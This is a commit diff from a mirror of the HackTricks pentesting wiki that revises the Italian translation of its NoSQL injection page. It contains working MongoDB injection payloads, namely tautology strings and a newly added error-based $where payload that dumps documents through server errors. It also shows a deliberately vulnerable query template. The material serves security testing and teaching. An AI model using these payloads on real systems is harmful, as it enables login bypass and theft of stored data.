mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to it
This commit is contained in:
parent
ea0dcbdf7c
commit
4bc14263fc
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
Un attaccante può sfruttare questo inserendo stringhe come `admin' || 'a'=='a`, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a'`). Questo è analogo agli attacchi di SQL injection dove vengono utilizzati input come `' or 1=1-- -` per manipolare le query SQL. In MongoDB, iniezioni simili possono essere effettuate utilizzando input come `' || 1==1//`, `' || 1==1%00`, o `admin' || 'a'=='a`.
|
||||
Un attaccante può sfruttare questo inserendo stringhe come `admin' || 'a'=='a`, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a'`). Questo è analogo agli attacchi di SQL injection dove input come `' or 1=1-- -` vengono utilizzati per manipolare le query SQL. In MongoDB, iniezioni simili possono essere effettuate utilizzando input come `' || 1==1//`, `' || 1==1%00`, o `admin' || 'a'=='a`.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
@ -108,7 +108,13 @@ Utilizzando l'operatore **$func** della libreria [MongoLite](https://github.com/
|
||||
}
|
||||
]
|
||||
```
|
||||
## Payloads MongoDB
|
||||
### Error-Based Injection
|
||||
|
||||
Inietta `throw new Error(JSON.stringify(this))` in una clausola `$where` per esfiltrare documenti completi tramite errori JavaScript lato server (richiede che l'applicazione esponga errori del database). Esempio:
|
||||
```json
|
||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||
```
|
||||
## MongoDB Payloads
|
||||
|
||||
Elenco [da qui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
@ -229,5 +235,6 @@ get_password(u)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user